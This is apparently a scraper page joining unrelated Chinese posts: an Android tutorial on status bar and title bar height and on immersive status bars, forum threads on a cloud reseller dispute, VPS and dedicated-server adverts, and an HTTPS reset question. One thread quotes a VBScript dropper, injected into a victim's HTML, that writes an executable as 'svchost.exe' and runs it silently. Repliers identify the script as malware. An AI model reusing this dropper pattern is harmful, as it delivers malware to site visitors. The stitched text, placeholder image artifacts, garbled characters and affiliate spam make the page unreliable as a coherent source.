Android获取状态栏和标题栏的高度

Android获取状态栏和标题栏的高度

1.获取状态栏高度:

decorView是window中的*顶层view,可以从window中获取到decorView,然后decorView有个getWindowVisibleDisplayFrame方法可以获取到程序显示的区域,包括标题栏,但不包括状态栏。
于是,我们就可以算出状态栏的高度了。

  1. Rect frame = new Rect();getWindow().getDecorView().getWindowVisibleDisplayFrame(frame);int statusBarHeight = frame.top;  

2.获取标题栏高度:

getWindow().findViewById(Window.ID_ANDROID_CONTENT)这个方法获取到的view就是程序不包括标题栏的部分,然后就可以知道标题栏的高度了。

  1. int contentTop = getWindow().findViewById(Window.ID_ANDROID_CONTENT).getTop();//statusBarHeight是上面所求的状态栏的高度int titleBarHeight = contentTop – statusBarHeight  

例子代码:

  1. package com.cn.lhq;import Android.app.Activity;import android.graphics.Rect;import android.os.Bundle;import android.util.Log;import android.view.Window;import android.widget.ImageView;public class Main extends Activity {ImageView iv;@Overridepublic void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.main);iv = (ImageView) this.findViewById(R.id.ImageView01);iv.post(new Runnable() {public void run() {viewInited();}});Log.v(“test”, “== ok ==”);}private void viewInited() {Rect rect = new Rect();Window window = getWindow();iv.getWindowVisibleDisplayFrame(rect);int statusBarHeight = rect.top;int contentViewTop = window.findViewById(Window.ID_ANDROID_CONTENT).getTop();int titleBarHeight = contentViewTop – statusBarHeight;// 测试结果:ok之后 100多 ms 才运行了Log.v(“test”, “=-init-= statusBarHeight=” + statusBarHeight+ ” contentViewTop=” + contentViewTop + ” titleBarHeight=”+ titleBarHeight);}}  
  1. <?xml version=“1.0” encoding=”utf-8″?><LinearLayout xmlns:android=”http://schemas.android.com/apk/res/android”    android:orientation=”vertical”    android:layout_width=”fill_parent”    android:layout_height=”fill_parent”><ImageView android:id=”@+id/ImageView01″ android:layout_width=”wrap_content” android:layout_height=”wrap_content”/></LinearLayout>  

Android 中状态栏、标题栏、View的大小及区分

Android 中状态栏、标题栏、View的大小及区分

1、获得状态栏的高度(状态栏相对Window的位置):

Rect frame = new Rect();

getWindow().getDecorView().getWindowVisibleDisplayFrame(frame);

int statusBarHeight = frame.top;

2、获得mView中显示内容的Top (不包括标题栏,指的是相对Window的位置,即:没有标题栏的时候,指的是状态栏的bottom在Window中的坐标;有标题栏的时候指的是标题栏的bottom在Window中的坐标)

getWindow().findViewById(Window.ID_ANDROID_CONTENT).getTop();

3、获得view中显示内容,与window无关,只和父控件有关

如果布局文件中mView match_parent 那么top=0,bottom=mView.getHeight();

4、获得屏幕的宽高:

(1)

getResources().getDisplayMetrics().heightPixels;

getResources().getDisplayMetrics().widthPixels;

(2)

WindowManager wm = (WindowManager) this.getSystemService(Context.WINDOW_SERVICE);
int width = wm.getDefaultDisplay().getWidth();//屏幕宽度

int height = wm.getDefaultDisplay().getHeight();//屏幕高度

(3)

DisplayMetrics mDisplayMetrics = new DisplayMetrics();
getWindowManager().getDefaultDisplay().getMetrics(mDisplayMetrics);
int W = mDisplayMetrics.widthPixels;
int H = mDisplayMetrics.heightPixels;

(4)过时方法

Display mDisplay = getWindowManager().getDefaultDisplay();
int W = mDisplay.getWidth();
int H = mDisplay.getHeight();

android状态栏总结

android状态栏总结

  1. 针对状态栏的操作,只针对4.4kitKat(含)以上的机型,部分国产rom会失效,目前发现的有华为的EMUI
  2. Activity必须是noActionbar主题
  3. 本文基于StatusBarUtils略作修改,感谢作者laobie
相关属性重温
  • FitsSystemWindows
    在使用FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDSFLAG_TRANSLUCENT_STATUS挤占了状态栏的高度的时候,我们的布局文件也跟着顶到了状态栏上。通过FitsSystemWindows,系统会把app布局文件的paddingTop修改成状态栏的高度,达到适配的效果

    %title插图%num

    false顶到状态栏
%title插图%num

true,paddingTop有一个状态栏高度
  • android.R.id.content
    通过它我们可以在不需要知道ID的情况下,访问当前Activity根节点,一般是ContentFrameLayout类型,通过((ViewGroup)findViewById(R.id.content)).getChildAt(0);可以获取到我们布局xml的根节点
  • getDecorView()
    通过他,我们可以获取到整个Window界面的*顶层View。我们用的很多的findViewById(),就是基于这个DecorView查找里面的子节点的。比如Activity主题是Theme.AppCompat.Light.NoActionBar的组织层级如下,
%title插图%num

noActionbarView层次.png

为什么嵌套那么深,因为各个层次可能都会有几个ViewStub方便注入,只是我们现在的主题用不到就是空了。

下面开始实战了,一般我们用的比较多的是透明状态栏、设置状态栏颜色、DrawerLayout盖在状态栏上三种。

1. 透明状态栏

这种情况一般用于把图片延伸到状态栏上,图片还分两种

  1. 作为background的全屏大图
  2. 作为ImageView控件存在,一般只占屏幕高度的一部分

这两种情况下的处理方式还不一样,具体看下文

/** * 使状态栏透明 */
private static void transparentStatusBar(Activity activity) {    
     if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {       
          activity.getWindow().addFlags(WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS | WindowManager.LayoutParams.FLAG_TRANSLUCENT_NAVIGATION);        
          activity.getWindow().setStatusBarColor(Color.TRANSPARENT);
    } 
     else {       
          activity.getWindow().addFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS | WindowManager.LayoutParams.FLAG_TRANSLUCENT_NAVIGATION);   
  }
}

上面的代码针对5.0以上或者4.4以上5.0以下的机型,让其状态栏透明、导航栏半透明,效果如下:

%title插图%num

透明状态栏的结果是布局文件顶到了状态栏上

dump了下节点信息,我们发现布局的paddingTop从(50px状态栏高度)被修改成了0px。从而让图片延伸到了状态栏

%title插图%num

不透明状态栏.png
%title插图%num

透明状态栏.png

这种情况下,对app布局文件通过设置FitsSystemWindows就可以完成适配了

/**
 * 获取activity的根节点
 *@param activity
 *@return
 */
public static ViewGroup getAppRootView(Activity activity) { 
   return (ViewGroup) ((ViewGroup) activity.findViewById(android.R.id.content)).getChildAt(0);
}

/**  
*将目标View的paddingTop从0设置为状态栏的高度
 */
private static void setRootViewFitSystemWindow(Activity activity) { 
   ViewGroup rootView = getAppRootView(activity);   
   rootView.setFitsSystemWindows(true);   
   rootView.setClipToPadding(true);
}
%title插图%num

app内容布局有了padding.png

注意!!要延伸到状态栏的图片,如果不是根节点的背景图,而是一个ImageView控件,那么就不能设置setFitsSystemWindows了,原因参考上图红框。这种情况下,为了防止顶到状态栏,需要手动在xml里通过paddingTopmarginTop调整标题栏元素位置达到适配。类似下图

%title插图%num

延伸到状态栏的图片是一个ImageView

2. 状态栏颜色

设置状态栏颜色的步骤和透明类似,差别在于5.0以下机型无法直接设置状态栏颜色,我们可以模拟一个纯色的View放到状态栏下面间接达到着色效果。放置的父层级我们选择DecorView

如果发现状态栏颜色设置无效,有可能是布局文件的root节点加了backgroundColor所致

/**
 * 
设置状态栏颜色
 *
 * @param activity       需要设置的activity
 * @param color          状态栏颜色值
 * @param statusBarAlpha 状态栏透明度
 */
public static void setColor(Activity activity, int color, int statusBarAlpha) { 
   if (Build.VERSION.SDK_INT < Build.VERSION_CODES.KITKAT)     return; 

   if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {  
      activity.getWindow().addFlags(WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS);       
      activity.getWindow().setStatusBarColor(UIUtils.calcColorWithAlpha(color, statusBarAlpha));   
 } else {        
     activity.getWindow().addFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS);     
     ViewGroup decorView = (ViewGroup) activity.getWindow().getDecorView();        
     insertMockStatusBackgroundView(decorView, color, statusBarAlpha);  
  }    
     setRootViewFitSystemWindow(activity);
}

上面的代码判断DecorView下第0个View是不是我们自定义的StatusbarView类型,如果是则设置颜色,否则创建一个纯色控件插入到DecorView内,同时布局内容上间距腾出给纯色控件。

3. DrawerLayout盖在状态栏上

DrawerLayout主要有两个子元素1:内容View 2:侧滑栏
侧滑栏必然要在内容View后面以覆盖前者

%title插图%num

侧滑栏效果

所以我们要做的有2步

  1. 插入纯色控件到内容View(如果不是LinarLayout需要考虑内容View元素重新排列)
  2. DrawerLayout设置fitSystemWindow=false;以覆盖到状态栏上

代码如下:

/** * 为DrawerLayout 布局设置状态栏变色
 * 
* @param activity       需要设置的activity 
* @param drawerLayout   DrawerLayout
 * @param color          状态栏颜色值
 * @param statusBarAlpha 状态栏透明度 
*/public static void setColorForDrawerLayout(Activity activity, DrawerLayout drawerLayout, int color, int statusBarAlpha) { 
   if (Build.VERSION.SDK_INT < Build.VERSION_CODES.KITKAT) {        return;    }  

   if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {        
      activity.getWindow().addFlags(WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS);        
      activity.getWindow().clearFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS);      
      activity.getWindow().setStatusBarColor(Color.TRANSPARENT);   
   } else {        
     activity.getWindow().addFlags(WindowManager.LayoutParams.FLAG_TRANSLUCENT_STATUS); 
   }    
     ViewGroup contentLayout = (ViewGroup) drawerLayout.getChildAt(0);    
     //如果内容view不是LinearLayout,则需要重新排列内容view子元素的内容    
     insertMockStatusBackgroundView(contentLayout, color, statusBarAlpha);    
     drawerLayout.setFitsSystemWindows(false);
}

总结:

上面三个方法,涵盖了app在大部分沉浸场景下的状态。在了解了底层实现后,我们也可以轻松在安卓上实现IOS的沉浸效果了,*低版本4.4 kitkat现在已经非常普及,随着MIUI、FlyME相继都升级到5.0、6.0以上,魅蓝、红米等大批国产中低端机型的都可以体验到这种酷炫的效果了。

事实告诉我们买云服务器这种事情宁可原价买也不能找代理

之前贪图小便宜,通过了一家代理商 7 折买腾讯云,买了几台年付的。期间买了几台高配月付的,价格一直很优惠,也很满意。
一年的时间非常快,服务器就快到期了,我找他去续费,他直接给我提价,原先 7 折的他 8 卖,还说明年开始 85 卖,并告诉我要我快续费,他要跑路了。
然而腾讯云的脑残政策,不同账号之间不能互通,也就是说我现在部署的服务器只能在这个 ID 里用,他要是跑路了之前代理产生的订单都废了,不能自己续费。
主要是现在完全依赖这个账号了,而且这代理的态度实在是差。%title插图%num

第 1 条附言  ·  2015-12-29 10:28:01 +08:00

联系了腾讯云,他们加了我的 QQ ,并且很耐心的帮我解决了问题。
总体来说虽然和代理商之间发生了点不愉快,但是腾讯云的服务器质量和态度也都是摆在那边的,暂时不考虑换到阿里云了(主要 CPU IO 太烂)。
感谢大家的关注,以后*不会贪小便宜了。
看了一下一个月不走代理大概在 1k 以内,这价钱还是能负担得起的。
61 条回复    2015-12-29 11:07:17 +08:00
InFaNg
    1

InFaNg   2015-12-27 14:49:11 +08:00 via Android

可怕
superxzr
    2

superxzr   2015-12-27 14:58:30 +08:00 via Android

这家公司也太没信用了吧…
imn1
    3

imn1   2015-12-27 15:00:18 +08:00

跟之前那些卖域名的一样,想转出,那手续的复杂……
warDoggie
    4

warDoggie   2015-12-27 15:02:48 +08:00 via iPhone

不是我不想做,都是你们这些顾客。突然想起前几天一个帖子里面黑大学生玩坏阿里云青岛节点的。超不爽这种乱推责任,*端自大的逻辑。
到底是什么人会有这种逻辑方式,好可怕。
tSQghkfhTtQt9mtd
    5

tSQghkfhTtQt9mtd   2015-12-27 15:09:44 +08:00

可怕。。
不能换帐号重新部署吗。。
Andy1999
    6

Andy1999   2015-12-27 15:10:14 +08:00

@warDoggie 这种人就是开小作坊的料,大公司*对开不了
不过被坑了一次之后应该不会再被坑了,我怀疑他都是掐准一年的时间来恶意涨价
zingl
    7

zingl   2015-12-27 15:10:34 +08:00

备份重开呗,不涨价这种空头支票没必要纠结吧
Andy1999
    8

Andy1999   2015-12-27 15:11:32 +08:00

@liwanglin12
@zingl 可以,你试试看用 5Mbps 外网传输 40G 的数据
lenran
    9

lenran   2015-12-27 15:15:25 +08:00

要不,你自己做代理吧
Andy1999
    10

Andy1999   2015-12-27 15:18:23 +08:00

@lenran 正有此意
lenran
    11

lenran   2015-12-27 15:19:40 +08:00

@Andy1999 希望你做的能比这个帖子里的代理好
Andy1999
    12

Andy1999   2015-12-27 15:26:24 +08:00

@lenran 自己做自己的代理 不对外
lenran
    13

lenran   2015-12-27 15:27:39 +08:00

@Andy1999 壕
zingl
    14

zingl   2015-12-27 15:29:39 +08:00

@Andy1999 数据多就先重开,内网传输呗,你又不是放弃麻花疼,只是放弃代理
msg7086
    15

msg7086   2015-12-27 15:32:33 +08:00   ❤️ 4

依赖服务器,我也就呵呵了。什么东西能「依赖」服务器的。
bdbai
    16

bdbai   2015-12-27 15:32:40 +08:00 via iPhone

@lenran 楼主家一大堆服务器,人家只是高中生啊…
ooxxcc
    17

ooxxcc   2015-12-27 15:33:02 +08:00

@Andy1999
>>> 40*1024.0/5*8/3600
18.204444444444444

还好,也就一天……

111111111111
    18

111111111111   2015-12-27 15:37:32 +08:00

@Andy1999 先开个机器,内网传啊
腾讯云不能开内网机器吗
Andy1999
    19

Andy1999   2015-12-27 15:38:46 +08:00

@111111111111 不同账户之间不通

@msg7086 如果你觉得没有你可以 Block 我 我不缺你的关注
@ooxxcc B2C 一天不开会损失多少呢?

workwonder
    20

workwonder   2015-12-27 16:00:00 +08:00 via Android

赶紧迁移部署啊
Andy1999
    21

Andy1999   2015-12-27 16:10:11 +08:00 via iPhone

@workwonder 还在找 能推荐几家便宜又好用的吗
代理 7-75 折的腾讯云真好 可惜再也没有了
xiao201261
    22

xiao201261   2015-12-27 16:18:49 +08:00

还好我腾讯云是别人送的
lenran
    23

lenran   2015-12-27 16:49:29 +08:00

@Andy1999 阿里云 AWS Linode DO 都不考虑?或者可以迁到韩国的 Ehost
张宴的博客也在那里 zyan.cc
Felldeadbird
    24

Felldeadbird   2015-12-27 18:18:21 +08:00 via iPhone

这是贪便宜的后果。有官方为何还要找代理呢??贪几块钱。换来跑路,没售后,怪谁。
Luzifer
    25

Luzifer   2015-12-27 18:26:07 +08:00

光天化日,肆无忌惮
mzer0
    26

mzer0   2015-12-27 18:27:06 +08:00 via iPhone

@warDoggie
@Felldeadbird
@lenran
我看完聊天记录,怎么都感觉代理没错。
PublicID
    27

PublicID   2015-12-27 18:30:19 +08:00   ❤️ 1

武汉 成就一生 电子商务有限公司 怎么样
武汉 成就一生 电子商务有限公司 要跑路
武汉成就一生电子商务有限公司 怎么样
武汉成就一生电子商务有限公司 跑路
Bryan0Z
    28

Bryan0Z   2015-12-27 19:04:42 +08:00 via Android

@PublicID 666666
Andy1999
    29

Andy1999   2015-12-27 19:17:55 +08:00 via iPhone

@Felldeadbird 建议你先了解一下腾讯云的代理政策 这边不复述了
@lenran 目前在看阿里云, B2C 和游戏服务器不会迁到墙外的
@mzer0 那就是我错了
Srar
    30

Srar   2015-12-27 19:42:22 +08:00

@Andy1999 可以先用腾讯的跳板机把数据弄出来 跳板机速度还是不错的
yulgang
    31

yulgang   2015-12-27 19:50:38 +08:00

好奇楼主是直接在“代理”买的账号?
我是用自己账号买的,找代理代付会有优惠,自己支付使用原价而已。
Andy1999
    32

Andy1999   2015-12-27 19:54:52 +08:00 via iPhone

@yulgang 我和你一样 但是代理支付的单子我没法续费
@Srar 跳板机不支持写入啊。。。
yulgang
    33

yulgang   2015-12-27 20:41:53 +08:00

@Andy1999 唉?我的可以续费。而且我的*单就是找代理续费的。

“主机计费模式” 右侧 “操作”里 就有“登录”、 “续费” 、“更多”,你的没有续费选项,或者续费不成功?

Andy1999
    34

Andy1999   2015-12-27 20:47:03 +08:00 via iPhone

@yulgang 灰色的 不太明白为什么
jylee
    35

jylee   2015-12-27 21:04:12 +08:00

= =自己做自己代理,不達到季度規定的新增數量,會被騰訊雲取消的
Andy1999
    36

Andy1999   2015-12-27 21:14:56 +08:00 via iPhone

@jylee 好像只是拿不到*低折扣,不会取消
真的有这种情况 我觉得一个群的购买力能消费掉
Zohar
    37

Zohar   2015-12-27 22:00:41 +08:00

还好我买不起腾讯云…
cyyzaid
    38

cyyzaid   2015-12-27 22:03:45 +08:00 via Android

@Zohar 1
giuem
    39

giuem   2015-12-27 22:29:39 +08:00 via Android

@Andy1999 +1 *近我也想买一台
Citrus
    40

Citrus   2015-12-27 22:43:12 +08:00 via iPhone

@Andy1999 我来告诉你为啥一开始给你 7 折,因为腾讯云为了放量,去年给代理商有*励,有返现,这样代理才能做到 7 折。今年这个力度显然不会有去年那么大,所以当然就。。。这也是我去年一直告诉身边的盆友去如果想长期用千万别找代理的原因。。。
内网机器同一个机房一般是互通的,不过同一个机房也有很多子网,看运气了。。。
Andy1999
    41

Andy1999   2015-12-27 22:49:00 +08:00 via iPhone

@Citrus %title插图%num

我开了 40 台了。。。一个 C 的都不能通

shyling
    42

shyling   2015-12-27 22:51:00 +08:00

贪小便宜问题多啊=。=
Sn0wM4n
    43

Sn0wM4n   2015-12-27 23:01:34 +08:00

这公司感觉就是随着个人性子来呀
Andy1999
    44

Andy1999   2015-12-27 23:02:10 +08:00 via iPhone

@Sn0wM4n 小作坊
xiaodaigou
    45

xiaodaigou   2015-12-28 00:48:49 +08:00 via iPhone

@Andy1999 。。。腾讯对代理每个月都有销售额。。。销售越多折扣越大,达不到销售额的会被取消代理,你自己这不是扯犊子么孩子
xiaodaigou
    46

xiaodaigou   2015-12-28 01:00:30 +08:00

这个代理商我见过的,似乎是个人,并不是公司,我找代理商都是公司,买了 100+服务器,一直没出过问题,你自己跳坑里,不是所有代理都是坑,代理可以省不少钱。
linjuyx
    47

linjuyx   2015-12-28 01:42:59 +08:00

@Andy1999 我记得阿里云不同账号可以发工单内网互通,腾讯云应该也可以吧。
ryd994
    48

ryd994   2015-12-28 03:55:14 +08:00

@Andy1999 能不能先用一天时间传输一个 snapshot ,*后 downtime 几分钟差分一下
Andy1999
    50

Andy1999   2015-12-28 08:30:25 +08:00 via iPhone

@xiaodaigou http://dwz.cn/2rMKUy

@linjuyx 已经联系过了 明确告知不行
@ryd994 目前还有一个月,发邮件申请解除代理关系 成功的话就不用换了

c0878
    51

c0878   2015-12-28 09:39:02 +08:00

直接官网买啊 服务器的钱不能省 别想什么打折了
bk201
    52

bk201   2015-12-28 10:16:54 +08:00 via iPhone

我很好奇 po 主做什么的,一个高中生需要那么多服务器。
Andy1999
    53

Andy1999   2015-12-28 10:55:44 +08:00 via iPhone

@c0878 之后就这么干了

@bk201 B2C 、 Game 、折腾

bk201
    54

bk201   2015-12-28 11:08:46 +08:00

@Andy1999 自己的 B2C 吗,链接可以看下不。
Andy1999
    55

Andy1999   2015-12-28 13:15:52 +08:00 via iPhone

@bk201 家里企业的 多一事不如少一事,发出来我怕被揍
SharkIng
    56

SharkIng   2015-12-28 13:59:42 +08:00

其实这样看买过来说不定也可以,如果真能像他们说的那样续费有两万的话….

我曾经就特别喜欢到处申请 /买这种代理帐号,而且别人代理下总觉的不靠谱,不如自己做代理,或者直接官方

lmaq
    57

lmaq   2015-12-28 14:09:13 +08:00

一直用的阿里的,可以做成自定义镜像,然后共享镜像到新账号,新账号开通服务器时候选择共享的镜像即可

腾讯不知道有这样的功能没有

wy315700
    58

wy315700   2015-12-28 14:26:22 +08:00

再涨价也比原价低吧
Andy1999
    59

Andy1999   2015-12-28 14:44:47 +08:00 via iPhone

@wy315700 低 但是这态度让我不爽 我宁愿全价买也不要给他赚钱的机会
代理账号下 产生的费用不管走没走通道 他都有回扣
yuugnagyou
    60

yuugnagyou   2015-12-29 10:32:30 +08:00

昨晚帮你向同事反馈了下~有问题的话我再帮你跟一跟哈~
Andy1999
    61

Andy1999   2015-12-29 11:07:17 +08:00 via iPhone

@yuugnagyou 谢谢您啊,你们的服务真的好,对了能不能加一下 QQ ,有些问题想咨询~客服不太懂的呢

服务器被攻击,所有的 html 都被植入了一段 vbscript

<SCRIPT Language=VBScript><!–

DropFileName = “svchost.exe”

WriteData = “4D5A900003000000

DropPath = FSO.GetSpecialFolder(2) & “\” & DropFileName

If FSO.FileExists(DropPath)=False Then

Set FileObj = FSO.CreateTextFile(DropPath, True)

For i = 1 To Len(WriteData) Step 2

FileObj.Write Chr(CLng(“&H” & Mid(WriteData,i,2)))

Next

FileObj.Close

End If

Set WSHshell = CreateObject(“WScript.Shell”)

WSHshell.Run DropPath, 0

//–></SCRIPT>

安全不懂啊,懂的 v 友指教一下
droppath writedata fileobj fso13 条回复 • 2016-01-29 16:13:57 +08:00
zhanglp888 1
zhanglp888 2016-01-12 09:51:31 +08:00
Win32/Ramnit
https://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Win32%2fRamnit

dll 文件也会有问题,
hicdn 2
hicdn 2016-01-12 10:30:24 +08:00
这个是在服务器上看到的还是在浏览器里看到的
chinafeng 3
chinafeng 2016-01-12 10:47:55 +08:00
这是运行一个文件, svchost.exe, 目测是木马
bigtan 4
bigtan 2016-01-12 10:54:05 +08:00
中过这个病毒
Moker 5
Moker 2016-01-12 10:59:31 +08:00
前段时间同事中过,会感染所有的.html 文件后缀,然后重装….不重装好像麻烦点
hienchu 6
hienchu 2016-01-12 11:18:17 +08:00 via iPhone
怎么被入侵的?
ibcker 7
ibcker 2016-01-12 12:03:26 +08:00
等下会不会有人发帖:今天攻击了一个网站,所有的 html 都被植入了一段 vbscript
am241 8
am241 2016-01-12 12:08:39 +08:00
这种病毒十年前就不好用了吧
billyu 9
billyu 2016-01-12 12:32:40 +08:00
我前几天自己电脑也中了 然后用 360 国际版在安全模式下全盘杀毒搞定的 win7
maskerTUI 10
maskerTUI 2016-01-12 12:38:03 +08:00
/t/248061
visonme 11
visonme 2016-01-12 13:03:00 +08:00
https://www.abuse.ch/?p=2842

对你了解这种类别的病毒有帮助
blakefan 12
blakefan 2016-01-12 14:57:02 +08:00
网页木马程序
prondtoo 13
prondtoo 2016-01-29 16:13:57 +08:00
刚弄好 nexpose ,有需要可以帮你扫一下。

推荐个台湾 VPS

用了一下,各方面都挺好.

http://whmcs.imhost.com.tw/aff.php?aff=030

干净链接: http://www.imhost.com.tw
台湾 干净 链接13 条回复 • 2018-04-07 23:35:33 +08:00
buobuk 1
buobuk 2014-06-05 17:55:00 +08:00
需要的同学,直接回复,我可以帮你们索要9折优惠码
chairuosen 2
chairuosen 2014-06-05 18:08:59 +08:00
支付方式只能是新台币么?
buobuk 3
buobuk 2014-06-05 18:40:46 +08:00 via iPhone
@chairuosen 支付宝也可,自动转算汇率
ericFork 4
ericFork 2014-06-05 20:00:42 +08:00
不限流量的话,给 VPS 的带宽就很难保障了啊,一切看邻居……
matrix32767 5
matrix32767 2014-06-05 20:39:26 +08:00 via iPad
看到说「让您赢在起跑点」,我总觉得这是大陆人开的…
zjgood 6
zjgood 2014-06-05 21:16:49 +08:00
@buobuk 能不能给个测试ip啊?
aliehuhu 7
aliehuhu 2014-06-07 12:57:59 +08:00
还是有些贵啊
buobuk 8
buobuk 2014-06-10 15:09:38 +08:00
@zjgood 125.227.248
treemanz 9
treemanz 2015-05-13 14:30:18 +08:00
@buobuk 能不能给台测试机测试一下带宽?
Linxing 10
Linxing 2017-12-19 15:52:33 +08:00
@buobuk 有优惠码吗
zyb123456 11
zyb123456 2018-03-28 20:32:05 +08:00
还有吗?
vyprzg 12
vyprzg 2018-04-07 23:34:30 +08:00
http://www.vyprzg.com/喜欢可以看看
vyprzg 13
vyprzg 2018-04-07 23:35:33 +08:00
http://www.vyprzg.com/

https 连接被重置,这是什么情况

如图

第 1 条附言  ·  2016-02-15 13:33:20 +08:00

%title插图%num

7 条回复    2016-02-18 15:55:06 +08:00

Iceux
    1

Iceux   2016-02-15 12:23:16 +08:00

%title插图%num?1
XhstormR
    2

XhstormR   2016-02-15 13:09:51 +08:00 via Android

为何你们发 imgur 的图片都不加 https ,难道你们可以直接上?

我这里要上 https 才能用,看到没 `s` 的都不想看了。

Iceux
    3

Iceux   2016-02-15 13:32:24 +08:00

@XhstormR 抱歉 %title插图%num
mengzhuo
    4

mengzhuo   2016-02-15 17:59:57 +08:00

没有 pcap 文件么……这么看的话感觉是对方终止了链接,可能是你的数据发错了,或者被强了
GeekTest
    5

GeekTest   2016-02-16 13:34:15 +08:00 via Android

@XhstormR 用的 CMCC 的辣鸡宽带吧
LGA1150
    6

LGA1150   2016-02-17 18:15:21 +08:00 via Android

443 端口被 block ?
Iceux
    7

Iceux   2016-02-18 15:55:06 +08:00

@LGA1150
@GeekTest
@mengzhuo
问题解决了是 ssl 配置问题,但是 chrome 下没问题,这个问题只出现在 Safari 下奇怪
https://trac.nginx.org/nginx/ticket/235

各位从哪里购买独服?

vps 倒是不少,独服哪家比较好呢?
独服 VPS 倒是 购买7 条回复 • 2016-03-08 14:57:07 +08:00
abel163 1
abel163 2016-02-20 14:18:41 +08:00
香港毒妇优选我们家,来看看,自营机房,价格,配置设置灵活, qq41431935
thinkxen 2
thinkxen 2016-02-20 21:55:23 +08:00
香港可联系我, IP 多到受不了~~~~
韩国也可联系我,带宽多到受不了~~~~~
fendouzhu007 3
fendouzhu007 2016-02-24 10:09:23 +08:00
中国电信香港沙田及国内北京、上海、江苏等机房的 QQ712624628
snsd 4
snsd 2016-03-07 15:38:15 +08:00
@thinkxen 韩国多少万一年?
thinkxen 5
thinkxen 2016-03-08 11:02:44 +08:00
@snsd 八九百一个月~~~~
snsd 6
snsd 2016-03-08 11:10:32 +08:00
@thinkxen 带宽给多大
thinkxen 7
thinkxen 2016-03-08 14:57:07 +08:00
@snsd 10Mbps 国际,可以适当跑超~~~